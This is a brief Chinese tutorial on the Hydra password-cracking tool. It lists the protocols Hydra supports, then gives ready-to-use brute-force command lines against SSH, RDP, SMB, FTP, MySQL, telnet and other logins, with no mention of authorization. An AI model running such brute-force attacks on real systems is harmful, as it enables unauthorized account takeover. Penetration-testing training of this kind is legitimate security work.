hydra 密码爆破工具入门

Hydra（九头蛇海德拉）是希腊神话之中的一个怪兽，以九个头闻名于世，在Kali中hydray(hai der rua) 是默认被安装的，该工具是密码破解的老司机，可以破解各种登录密码，非常怪兽，但是其稳定性不是很好。

原始项目地址： https://github.com/vanhauser-thc/thc-hydra

其Windows实现版： https://github.com/maaaaz/thc-hydra-windows

除了hydra外，还有一个medusa 原理都差不多，但是medusa支持的协议要少于hydra 但是稳定性略高。

其支持的破解类型包括，一下这么多几乎当前协议通吃，很怪兽。

Supported services: adam6500 asterisk cisco cisco-enable cvs ftp[s] http[s]-{head|get|post}
http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid
pcanywhere pcnfs pop3[s] postgres redis rexec rlogin rpcap rsh rtsp
s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak
telnet[s] vmauthd vnc xmpp

Linux 密码破解 hydra -l root -P template.lst -t 10 192.168.1.20 ssh

目标主机日志将会留下大量登录请求

破解成功会提示用户名密码

其他破解使用方式

远程桌面暴力破解
hydra -L /data/dic/user.dic -P /data/dic/password.dic -t 1 192.168.2.57 rdp
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd

破解https：
hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak：
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco：
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb：
hydra -l administrator -P pass.txt IP smb

破解pop3：
hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp：
hydra IP rdp -l administrator -P pass.txt -V

破解http-proxy：
hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解ftp：
hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV

mysql暴力破解
hydra -L /data/dic/user.dic -P /data/dic/password.dic -t 5 192.168.2.235 mysql